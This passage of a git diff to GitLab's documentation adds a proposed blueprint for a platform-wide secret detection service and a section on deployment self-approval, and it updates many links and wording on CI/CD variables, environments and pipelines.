tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/383198). | +| GitLab Rails app | `%15.10` | Implement UI to create new runner. | +| GitLab Rails app | `%15.10` | GraphQL changes to `CiRunner` type. | +| GitLab Rails app | `%15.10` | UI changes to runner details view (listing of platform, architecture, IP address, etc.) (?) | ### Stage 5 - Optional disabling of registration token diff --git a/doc/architecture/blueprints/secret_detection/index.md b/doc/architecture/blueprints/secret_detection/index.md new file mode 100644 index 00000000000..26551367a7c --- /dev/null +++ b/doc/architecture/blueprints/secret_detection/index.md @@ -0,0 +1,167 @@ +--- +status: proposed +creation-date: "2022-11-25" +authors: [ "@theoretick" ] +coach: "@DylanGriffith" +approvers: [ "@connorgilbert", "@amarpatel" ] +owning-stage: "~devops::secure" +participating-stages: [] +--- + +# Secret Detection as a platform-wide experience + +## Summary + +Today's secret detection feature is built around containerized scans of repositories +within a pipeline context. This feature is quite limited compared to where leaks +or compromised tokens may appear and should be expanded to include a much wider scope. + +Secret detection as a platform-wide experience encompasses detection across +platform features with high risk of secret leakage, including repository contents, +job logs, and project management features such as issues, epics, and MRs. + +## Motivation + +### Goals + +- Support asynchronous secret detection for: + - push events + - issuable creation + - issuable updates + - issuable comments + +### Non-Goals + +The current proposal is limited to asynchronous detection and alerting only. + +**Blocking** secrets on push events is high-risk to a critical path and +would require extensive performance profiling before implementing. See +[a recent example](https://gitlab.com/gitlab-org/gitlab/-/issues/246819#note_1164411983) +of a customer incident where this was attempted. + +Secret revocation and rotation is also beyond the scope of this new capability. + +Scanned object types beyond the scope of this MVC include: + +- Media types (JPEGs, PDFs,...) +- Snippets +- Wikis + +## Proposal + +To achieve scalable secret detection for a variety of domain objects a dedicated +scanning service must be created and deployed alongside the GitLab distribution. +This is referred to as the `SecretScanningService`. + +This service must be: + +- highly performant +- horizontally scalable +- generic in domain object scanning capability + +Platform-wide secret detection should be enabled by-default on GitLab SaaS as well +as self-managed instances. + +## Challenges + +- Secure authentication to GitLab.com infrastructure +- Performance of scanning against large blobs +- Performance of scanning against volume of domain objects (such as push frequency) + +## Design and implementation details + +The critical paths as outlined under [goals above](#goals) cover two major object +types: Git blobs (corresponding to push events) and arbitrary text blobs. + +The detection flow for push events relies on subscribing to the PostReceive hook +and enqueueing Sidekiq requests to the `SecretScanningService`. The `SecretScanningService` +service fetches enqueued refs, queries Gitaly for the ref blob contents, scans +the commit contents, and notifies the Rails application when a secret is detected. +See [Push event detection flow](#push-event-detection-flow) for sequence. + +The detection flow for arbitrary text blobs, such as issue comments, relies on +subscribing to `Notes::PostProcessService` (or equivalent service) and enqueueing +Sidekiq requests to the `SecretScanningService` to process the text blob by object type +and primary key of domain object. The `SecretScanningService` service fetches the +relevant text blob, scans the contents, and notifies the Rails application when a secret +is detected. + +The detection flow for job logs requires processing the log during archive to object +storage. See discussion [in this issue](https://gitlab.com/groups/gitlab-org/-/epics/8847#note_1116647883) +around scanning during streaming and the added complexity in buffering lookbacks +for arbitrary trace chunks. + +In any case of detection, the Rails application manually creates a vulnerability +using the `Vulnerabilities::ManuallyCreateService` to surface the finding within the +existing Vulnerability Management UI. + +See [technical discovery](https://gitlab.com/gitlab-org/gitlab/-/issues/376716) +for further background exploration. + +### Token types + +The existing Secret Detection configuration covers ~100 rules across a variety +of platforms. To reduce total cost of execution and likelihood of false positives +the dedicated service targets only well-defined tokens. A well-defined token is +defined as a token with a precise definition, most often a fixed substring prefix or +suffix and fixed length. + +Token types to identify in order of importance: + +1. Well-defined GitLab tokens (including Personal Access Tokens and Pipeline Trigger Tokens) +1. Verified Partner tokens (including AWS) +1. Remainder tokens currently included in Secret Detection CI configuration + +### Detection engine + +Our current secret detection offering utilizes [Gitleaks](https://github.com/zricethezav/gitleaks/) +for all secret scanning within pipeline contexts. By using its `--no-git` configuration +we can scan arbitrary text blobs outside of a repository context and continue to +utilize it for non-pipeline scanning. + +Given our existing familiarity with the tool and its extensibility, it should +remain our engine of choice. Changes to the detection engine are out of scope +unless benchmarking unveils performance concerns. + +### Push event detection flow + +```mermaid +sequenceDiagram + autonumber + actor User + User->>+Workhorse: git push + Workhorse->>+Gitaly: tcp + Gitaly->>+Rails: grpc + Sidekiq->>+Rails: poll job + Rails->>-Sidekiq: PostReceive worker + Sidekiq-->>+Sidekiq: enqueue PostReceiveSecretScanWorker + + Sidekiq->>+Rails: poll job + loop PostReceiveSecretScanWorker + Rails->>-Sidekiq: PostReceiveSecretScanWorker + Sidekiq->>+SecretScanningSvc: ScanBlob(ref) + SecretScanningSvc->>+Sidekiq: accepted + Note right of SecretScanningSvc: Scanning job enqueued + Sidekiq-->>+Rails: done + SecretScanningSvc->>+Gitaly: retrieve blob + SecretScanningSvc->>+SecretScanningSvc: scan blob + SecretScanningSvc->>+Rails: secret found + end +``` + +## Iterations + +1. Requirements definition for detection coverage and actions +1. PoC of secret scanning service + 1. gRPC commit retrieval from Gitaly + 1. blob scanning + 1. benchmarking of issuables, comments, job logs and blobs to gain confidence that the total costs will be viable +1. Implementation of secret scanning service MVC (targeting individual commits) +1. Security and readiness review +1. Deployment and monitoring +1. Implementation of secret scanning service MVC (targeting arbitrary text blobs) +1. Deployment and monitoring +1. High priority domain object rollout (priority `TBD`) + 1. Issuable comments + 1. Issuable bodies + 1. Job logs diff --git a/doc/architecture/blueprints/work_items/index.md b/doc/architecture/blueprints/work_items/index.md index 101fdbf4c2d..058282ec2b7 100644 --- a/doc/architecture/blueprints/work_items/index.md +++ b/doc/architecture/blueprints/work_items/index.md @@ -2,7 +2,7 @@ status: accepted creation-date: "2022-09-28" authors: [ "@ntepluhina" ] -coach: "@kamil" +coach: "@ayufan" approvers: [ "@gweaver" ] owning-stage: "~devops::plan" participating-stages: [] @@ -66,6 +66,7 @@ All Work Item types share the same pool of predefined widgets and are customized | start and due date | | | status\* | | | weight | | +| [notes](https://gitlab.com/gitlab-org/gitlab/-/issues/378949) | work_items_mvc | \* status is not currently a widget, but a part of the root work item, similar to title diff --git a/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md b/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md index 4a6b96736df..920e7cca2cb 100644 --- a/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md +++ b/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md @@ -210,7 +210,7 @@ Do not share the secret access key in a public place. You must save it in a secu ### Setup credentials in GitLab to let pipeline jobs access to ECS -You can register the access information in [GitLab Environment Variables](../../variables/index.md#custom-cicd-variables). +You can register the access information in [GitLab CI/CD Variables](../../variables/index.md). These variables are injected into the pipeline jobs and can access the ECS API. 1. Go to **ecs-demo** project on GitLab. diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md index bd9276275a7..a8826a6fdb5 100644 --- a/doc/ci/cloud_deployment/index.md +++ b/doc/ci/cloud_deployment/index.md @@ -31,7 +31,7 @@ After you set up authentication, you can configure CI/CD to deploy. | `AWS_SECRET_ACCESS_KEY` | Your secret access key. | | `AWS_DEFAULT_REGION` | Your region code. You might want to confirm that the AWS service you intend to use is [available in the chosen region](https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/). | -1. Variables are [protected by default](../variables/index.md#protected-cicd-variables). +1. Variables are [protected by default](../variables/index.md#protect-a-cicd-variable). To use GitLab CI/CD with branches or tags that are not protected, clear the **Protect variable** checkbox. @@ -190,7 +190,7 @@ To deploy to EC2, complete the following steps. ``` - If you do not want these JSON objects saved in your repository, add each object - as a separate [file type CI/CD variable](../variables/index.md#cicd-variable-types) + as a separate [file type CI/CD variable](../variables/index.md#use-file-type-cicd-variables) in the project settings. Use the same variable names as above. 1. In your `.gitlab-ci.yml` file, create a CI/CD variable for the name of the stack. For example: diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index ea62133cb7f..20bdd059a85 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -857,10 +857,10 @@ build: BUILDAH_FORMAT: docker # You may need this workaround for some errors: https://stackoverflow.com/a/70438141/1233435 BUILDAH_ISOLATION: chroot - FQ_IMAGE_NAME: "${CI_REGISTRY_IMAGE}/test" + FQ_IMAGE_NAME: "$CI_REGISTRY_IMAGE/test" before_script: # Log in to the GitLab container registry - - export REGISTRY_AUTH_FILE=${HOME}/auth.json + - export REGISTRY_AUTH_FILE=$HOME/auth.json - echo "$CI_REGISTRY_PASSWORD" | buildah login -u "$CI_REGISTRY_USER" --password-stdin $CI_REGISTRY script: - buildah images @@ -872,7 +872,7 @@ build: ## Use the GitLab Container Registry After you've built a Docker image, you can push it up to the built-in -[GitLab Container Registry](../../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd). +[GitLab Container Registry](../../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd). ## Troubleshooting diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index 37b9ea87d7a..b19e65ee396 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -73,7 +73,7 @@ If you authenticate against the [Dependency Proxy](../../user/packages/dependenc you must add the corresponding CI/CD variables for authentication to the `config.json` file: ```yaml -- echo "{\"auths\":{\"$CI_REGISTRY\":{\"auth\":\"$(printf "%s:%s" "${CI_REGISTRY_USER}" "${CI_REGISTRY_PASSWORD}" | base64 | tr -d '\n')\"},\"$CI_DEPENDENCY_PROXY_SERVER\":{\"auth\":\"$(printf "%s:%s" ${CI_DEPENDENCY_PROXY_USER} "${CI_DEPENDENCY_PROXY_PASSWORD}" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json +- echo "{\"auths\":{\"${CI_REGISTRY}\":{\"auth\":\"$(printf "%s:%s" "${CI_REGISTRY_USER}" "${CI_REGISTRY_PASSWORD}" | base64 | tr -d '\n')\"},\"$CI_DEPENDENCY_PROXY_SERVER\":{\"auth\":\"$(printf "%s:%s" ${CI_DEPENDENCY_PROXY_USER} "${CI_DEPENDENCY_PROXY_PASSWORD}" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json ``` ### Building an image with kaniko behind a proxy diff --git a/doc/ci/environments/deployment_approvals.md b/doc/ci/environments/deployment_approvals.md index a4815a85bc1..a95c47ca4b0 100644 --- a/doc/ci/environments/deployment_approvals.md +++ b/doc/ci/environments/deployment_approvals.md @@ -113,6 +113,23 @@ NOTE: To protect, update, or unprotect an environment, you must have at least the Maintainer role. +### Optional settings + +#### Allow self-approval + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381418) in GitLab 15.8. + +By default, a user who triggered a deployment pipeline can't self-approve the deployment jobs. +You can allow the self-approval by the following settings: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Protected environments**. +1. From the **Approval options**, check **Allow pipeline triggerer to approve deployment**. + +By enabling this, when a pipeline runs, deployment jobs will automatically be approved in the pipeline +if the triggerer is allowed to approve, otherwise nothing happens. + ## Approve or reject a deployment > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/342180/) in GitLab 14.9 diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index 1e4eb54c559..cf82238564e 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -130,7 +130,7 @@ ensure that deployments do not happen unexpectedly. Production secrets are needed to deploy successfully. For example, when deploying to the cloud, cloud providers require these secrets to connect to their services. In the project settings, you can -define and protect CI/CD variables for these secrets. [Protected variables](../variables/index.md#protected-cicd-variables) +define and protect CI/CD variables for these secrets. [Protected variables](../variables/index.md#protect-a-cicd-variable) are only passed to pipelines running on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines don't get the protected variable. You can also diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 0c412c85e47..514a0b255c5 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -436,6 +436,8 @@ There are multiple ways to clean up [dynamic environments](#create-a-dynamic-env - If you do _NOT_ use [merge request pipelines](../pipelines/merge_request_pipelines.md), GitLab stops an environment [when the associated feature branch is deleted](#stop-an-environment-when-a-branch-is-deleted). - If you set [an expiry period to an environment](../yaml/index.md#environmentauto_stop_in), GitLab stops an environment [when it's expired](#stop-an-environment-after-a-certain-time-period). +To stop stale environments, you can [use the API](../../api/environments.md#stop-stale-environments). + #### Stop an environment when a branch is deleted You can configure environments to stop when a branch is deleted. @@ -534,10 +536,6 @@ Also in the example, `GIT_STRATEGY` is set to `none`. If the `stop_review_app` job is [automatically triggered](../environments/index.md#stop-an-environment), the runner won't try to check out the code after the branch is deleted. -The example also overwrites global variables. If your `stop` `environment` job depends -on global variables, use [anchor variables](../yaml/yaml_optimization.md#yaml-anchors-for-variables) when you set the `GIT_STRATEGY` -to change the job without overriding the global variables. - The `stop_review_app` job **must** have the following keywords defined: - `when`, defined at either: @@ -926,12 +924,17 @@ NOTE: GitLab preserves all commits as [`keep-around` refs](../../user/project/repository/reducing_the_repo_size_using_git.md) so that deployed commits are not garbage collected, even if it's not referenced by the deployment refs. -### Scope environments with specs +### Limit the environment scope of a CI/CD variable > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2112) in GitLab Premium 9.4. > - Environment scoping for CI/CD variables was [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30779) from GitLab Premium to GitLab Free in 12.2. > - Environment scoping for Group CI/CD variables [added](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) to GitLab Premium in 13.11. +By default, all [CI/CD variables](../variables/index.md) are available to any job in a pipeline. Therefore, if a project uses a +compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is +a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting +the environment scope of a variable. + You can limit the environment scope of a CI/CD variable by defining which environments it can be available for. For example, if the environment scope is `production`, then only the jobs @@ -943,10 +946,6 @@ any job can have this variable, regardless of whether an environment is defined. If the environment scope is `review/*`, then jobs with environment names starting with `review/` would have that variable available. -Some GitLab features can behave differently for each environment. -For example, you can -[create a project CI/CD variable to be injected only into a production environment](../variables/index.md#limit-the-environment-scope-of-a-cicd-variable). - In most cases, these features use the _environment specs_ mechanism, which offers an efficient way to implement scoping in each environment group. diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index 638bcf77967..b72ee9b388f 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -210,7 +210,7 @@ configured: This ensures that only operators can configure the organization-wide deployment ruleset. - Developers should be given no more than the Developer role - for the top-level group, or explicitly given the Owner role for a child project + for the top-level group, or explicitly given the Owner role for a child project. They do *not* have access to the CI/CD configurations in the top-level group, so operators can ensure that the critical configuration won't be accidentally changed by the developers. diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index 28016216dbb..062bd602c29 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -67,7 +67,7 @@ This test will be used later for continuously testing our app with GitLab CI/CD. ### Push to GitLab Since we have our app up and running locally, it's time to push the codebase to our remote repository. -Let's create [a new project](../../../user/project/working_with_projects.md#create-a-project) in GitLab named `laravel-sample`. +Let's create [a new project](../../../user/project/index.md#create-a-project) in GitLab named `laravel-sample`. After that, follow the command line instructions displayed on the project's homepage to initiate the repository on our machine and push the first commit. ```shell diff --git a/doc/ci/index.md b/doc/ci/index.md index ddc9ba5d475..63db23f8c48 100644 --- a/doc/ci/index.md +++ b/doc/ci/index.md @@ -35,7 +35,7 @@ read the [Introduction to CI/CD with GitLab](introduction/index.md). Video demonstration of continuous integration with GitLab CI/CD: Continuous Integration with GitLab (overview demo).
- +
## Concepts diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index ccf7ebccb2c..e62c38fc1ec 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -20,15 +20,13 @@ The three primary approaches for the continuous method are: - [Continuous Delivery](#continuous-delivery) - [Continuous Deployment](#continuous-deployment) -NOTE: Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more. Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) webcast to learn about continuous methods and how built-in GitLab CI/CD can help you simplify and scale software development. -> -  Learn how to [configure CI/CD](https://www.youtube.com/embed/opdLqwz6tcE). -> - [Make the case for CI/CD in your organization](https://about.gitlab.com/devops-tools/github-vs-gitlab/). -> -  Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) -> from 30 days to under 8 hours with GitLab. +- Learn how to: [configure CI/CD](https://www.youtube.com/watch?v=opdLqwz6tcE). +- [Make the case for CI/CD in your organization](https://about.gitlab.com/devops-tools/github-vs-gitlab/). +- Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) from 30 days to under 8 hours with GitLab. ## Continuous Integration diff --git a/doc/ci/jobs/ci_job_token.md b/doc/ci/jobs/ci_job_token.md index d95451a67dc..4ae4456c56c 100644 --- a/doc/ci/jobs/ci_job_token.md +++ b/doc/ci/jobs/ci_job_token.md @@ -14,7 +14,7 @@ You can use a GitLab CI/CD job token to authenticate with specific API endpoints - Packages: - [Package Registry](../../user/packages/package_registry/index.md#use-gitlab-cicd-to-build-packages). - [Packages API](../../api/packages.md) (project-level). - - [Container Registry](../../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd) + - [Container Registry](../../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd) (the `$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`). - [Container Registry API](../../api/container_registry.md) (scoped to the job's project, when the `ci_job_token_scope` feature flag is enabled). diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index 15ec92a896e..753a755cbf3 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -114,8 +114,10 @@ You can't use these keywords as job names: Job names must be 255 characters or fewer. -Use unique names for your jobs. If multiple jobs have the same name, +Use unique names for your jobs. If multiple jobs have the same name in a file, only one is added to the pipeline, and it's difficult to predict which one is chosen. +If the same job name is used in one or more included files, +[parameters are merged](../yaml/includes.md#override-included-configuration-values). ## Group jobs in a pipeline @@ -267,10 +269,10 @@ You can do this from the job page of the manual job you want to run with additional variables. To access this page, select the **name** of the manual job in the pipeline view, *not* the play (**{play}**) button. -This is useful when you want to alter the execution of a job that uses -[custom CI/CD variables](../variables/index.md#custom-cicd-variables). -Add a variable name (key) and value here to override the value defined in -[the UI or `.gitlab-ci.yml`](../variables/index.md#custom-cicd-variables), +Define CI/CD variables here when you want to alter the execution of a job that uses +[CI/CD variables](../variables/index.md). +Add a variable name (key) and value to [override the value](../variables/index.md#override-a-defined-cicd-variable) +defined in the UI or `.gitlab-ci.yml` for a single run of the manual job. ![Manual job variables](img/manual_job_variables_v13_10.png) diff --git a/doc/ci/jobs/job_control.md b/doc/ci/jobs/job_control.md index d26c698af89..3cd57ff6a6a 100644 --- a/doc/ci/jobs/job_control.md +++ b/doc/ci/jobs/job_control.md @@ -125,7 +125,7 @@ job: rules: - if: $CI_COMMIT_BRANCH changes: - compare_to: refs/heads/main + compare_to: 'refs/heads/main' paths: - '*' ``` @@ -315,7 +315,7 @@ Other commonly used variables for `if` clauses: - `if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $CI_COMMIT_TITLE =~ /Merge branch.*/`: If the commit branch is the default branch and the commit message title matches a regular expression. For example, the default commit message for a merge commit starts with `Merge branch`. -- `if: $CUSTOM_VARIABLE !~ /regex-expression/`: If the [custom variable](../variables/index.md#custom-cicd-variables) +- `if: $CUSTOM_VARIABLE !~ /regex-expression/`: If the [custom variable](../variables/index.md) `CUSTOM_VARIABLE` does **not** match a regular expression. - `if: $CUSTOM_VARIABLE == "value1"`: If the custom variable `CUSTOM_VARIABLE` is exactly `value1`. @@ -754,7 +754,6 @@ deploystacks: STACK: [monitoring, backup] - PROVIDER: [gcp, vultr] STACK: [data] - environment: $PROVIDER/$STACK ``` This example generates 6 parallel `deploystacks` trigger jobs, each with different values @@ -986,8 +985,11 @@ Expressions evaluate as `true` if: For example: -- `$VARIABLE =~ /^content.*/` -- `$VARIABLE_1 !~ /^content.*/` +- `if: $VARIABLE =~ /^content.*/` +- `if: $VARIABLE !~ /^content.*/` + +Single-character regular expressions, like `/./`, are not supported and +produce an `invalid expression syntax` error. Pattern matching is case-sensitive by default. Use the `i` flag modifier to make a pattern case-insensitive. For example: `/pattern/i`. diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 034c8ba5ad6..c1e9f97a169 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -268,7 +268,7 @@ test_async: ## Contexts and variables -CircleCI provides [Contexts](https://circleci.com/docs/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/index.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. +CircleCI provides [Contexts](https://circleci.com/docs/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/index.md#for-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. ## Orbs diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index 235dd0e80ca..63e9993be90 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -21,7 +21,7 @@ that were able to quickly complete this migration: 1. Educate and enable your developers to independently perform the following steps in their projects: 1. Review the [Quick Start Guide](../quick_start/index.md) and [Pipeline Configuration Reference](../yaml/index.md). 1. Use the [Jenkins Wrapper](#jenkinsfile-wrapper) to temporarily maintain fragile Jenkins jobs. - 1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#using-components-of-auto-devops) the configuration as needed. + 1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#use-individual-components-of-auto-devops) the configuration as needed. 1. Add [Review Apps](../review_apps/index.md). 1. Migrate the deployment jobs using [cloud deployment templates](../cloud_deployment/index.md), adding [environments](../environments/index.md), and [deploy boards](../../user/project/deploy_boards.md). 1. Work to unwrap any jobs still running with the use of the Jenkins wrapper. @@ -308,7 +308,7 @@ my_job: In GitLab, we use the [`variables` keyword](../yaml/index.md#variables) to define different variables at runtime. These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/index.md), -including the section on [protected variables](../variables/index.md#protected-cicd-variables). This can be used +including the section on [protected variables](../variables/index.md#protect-a-cicd-variable). This can be used to limit access to certain variables to certain environments or runners: ```yaml diff --git a/doc/ci/pipelines/cicd_minutes.md b/doc/ci/pipelines/cicd_minutes.md index d9ad224ab95..e69c510291d 100644 --- a/doc/ci/pipelines/cicd_minutes.md +++ b/doc/ci/pipelines/cicd_minutes.md @@ -216,9 +216,10 @@ The cost factors on self-managed instances are: #### Cost factor for community contributions to GitLab projects -Community contributors can use up to 300,000 minutes on shared runners when -contributing to open source projects maintained by GitLab. The 300,000 -minutes applies to all SaaS tiers, and the cost factor calculation is: +Community contributors can use up to 300,000 minutes on shared runners when contributing to open source projects +maintained by GitLab. The maximum of 300,000 minutes would only be possible if contributing exclusively to projects [part of the GitLab product](https://about.gitlab.com/handbook/engineering/metrics/#projects-that-are-part-of-the-product). The total number of minutes available on shared runners +is reduced by the CI/CD minutes used by pipelines from other projects. +The 300,000 minutes applies to all SaaS tiers, and the cost factor calculation is: - `Monthly minute quota / 300,000 job duration minutes = Cost factor` @@ -255,9 +256,9 @@ calculations start again from `0`. For example, if you have a monthly quota of `10,000` CI/CD minutes: -- On **1st April**, you have `10,000` minutes. +- On **April 1**, you have `10,000` minutes. - During April, you use only `6,000` of the `10,000` minutes. -- On **1st May**, the accumulated usage of minutes resets to `0`, and you have `10,000` minutes to use again +- On **May 1**, the accumulated usage of minutes resets to `0`, and you have `10,000` minutes to use again during May. Usage data for the previous month is kept to show historical view of the consumption over time. @@ -269,9 +270,9 @@ the next month. For example: -- On **1st April**, you purchase `5,000` additional CI/CD minutes. +- On **April 1**, you purchase `5,000` additional CI/CD minutes. - During April, you use only `3,000` of the `5,000` additional minutes. -- On **1st May**, the unused minute roll over, so you have `2,000` additional minutes available for May. +- On **May 1**, the unused minute roll over, so you have `2,000` additional minutes available for May. Additional CI/CD minutes are a one-time purchase and do not renew or refresh each month. diff --git a/doc/ci/pipelines/downstream_pipelines.md b/doc/ci/pipelines/downstream_pipelines.md index 6c17c23552d..1ada4c4fac1 100644 --- a/doc/ci/pipelines/downstream_pipelines.md +++ b/doc/ci/pipelines/downstream_pipelines.md @@ -244,21 +244,25 @@ To trigger a child pipeline as a [merge request pipeline](merge_request_pipeline ``` 1. Configure the child pipeline jobs to run in merge request pipelines with [`rules`](../yaml/index.md#rules) - or [`workflow:rules`](../yaml/index.md#workflowrules). For example, with `rules` - in a child pipeline's configuration file: + or [`workflow:rules`](../yaml/index.md#workflowrules). + For example, with `rules` in a child pipeline's configuration file: ```yaml job1: - script: ... + script: echo "Child pipeline job 1" rules: - - if: $CI_PIPELINE_SOURCE == "merge_request_event" + - if: $CI_MERGE_REQUEST_ID job2: - script: ... + script: echo "Child pipeline job 2" rules: - - if: $CI_PIPELINE_SOURCE == "merge_request_event" + - if: $CI_MERGE_REQUEST_ID ``` + In child pipelines, `$CI_PIPELINE_SOURCE` always has a value of `parent_pipeline` + and cannot be used to identify merge request pipelines. Use `$CI_MERGE_REQUEST_ID` + instead, which is always present in merge request pipelines. + ### Specify a branch for multi-project pipelines You can specify the branch to use when triggering a multi-project pipeline. GitLab uses diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index ab98bab022e..324a2fa3ef9 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -75,7 +75,7 @@ You can also configure specific aspects of your pipelines through the GitLab UI. - [Pipeline settings](settings.md) for each project. - [Pipeline schedules](schedules.md). -- [Custom CI/CD variables](../variables/index.md#custom-cicd-variables). +- [Custom CI/CD variables](../variables/index.md#for-a-project). ### Ref specs for runners @@ -156,7 +156,7 @@ The pipeline now executes the jobs as configured. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7. You can use the [`description` and `value`](../yaml/index.md#variablesdescription) -keywords to define [pipeline-level (global) variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file) +keywords to [define pipeline-level (global) variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file) that are prefilled when running a pipeline manually. Use the description to explain information such as what the variable is used for, and what the acceptable values are. diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index cc26ede5f6e..bd788cfd3eb 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -410,7 +410,7 @@ This message is often preceded by other errors or warnings that specify the file generated. Check the job log for these messages. If you find no helpful messages, retry the failed job after activating -[CI/CD debug logging](../variables/index.md#debug-logging). +[CI/CD debug logging](../variables/index.md#enable-debug-logging). This logging should provide information to help you investigate further. ### Error message `Missing /usr/bin/gitlab-runner-helper. Uploading artifacts is disabled.` diff --git a/doc/ci/pipelines/merge_request_pipelines.md b/doc/ci/pipelines/merge_request_pipelines.md index 714e96d7954..7e18c11f234 100644 --- a/doc/ci/pipelines/merge_request_pipelines.md +++ b/doc/ci/pipelines/merge_request_pipelines.md @@ -20,20 +20,20 @@ Branch pipelines: - Run when you push a new commit to a branch. - Are the default type of pipeline. - Have access to [some predefined variables](../variables/predefined_variables.md). -- Have access to [protected variables](../variables/index.md#protected-cicd-variables) and [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). +- Have access to [protected variables](../variables/index.md#protect-a-cicd-variable) and [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). Merge request pipelines: -- Run when you: +- **Do not run by default**. The jobs in the CI/CD configuration file [must be configured](#prerequisites) + to run in merge request pipelines. +- If configured, merge request pipelines run when you: - Create a new merge request from a source branch with one or more commits. - Push a new commit to the source branch for a merge request. - Select **Run pipeline** from the **Pipelines** tab in a merge request. This option is only available when merge request pipelines are configured for the pipeline and the source branch has at least one commit. -- Do not run by default. The jobs in the CI/CD configuration file [must be configured](#prerequisites) - to run in merge request pipelines. - Have access to [more predefined variables](#available-predefined-variables). -- Do not have access to [protected variables](../variables/index.md#protected-cicd-variables) or [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). +- Do not have access to [protected variables](../variables/index.md#protect-a-cicd-variable) or [protected runners](../runners/configure_runners.md#prevent-runners-from-revealing-sensitive-information). Both of these types of pipelines can appear on the **Pipelines** tab of a merge request. diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index 423ee31dec4..cd696d816d7 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -32,7 +32,7 @@ To change the visibility of your pipelines and related features: When it is selected, pipelines and related features are visible: - For [**Public**](../../user/public_access.md) projects, to everyone. - - For **Internal** projects, to all logged-in users except [external users](../../user/admin_area/external_users.md). + 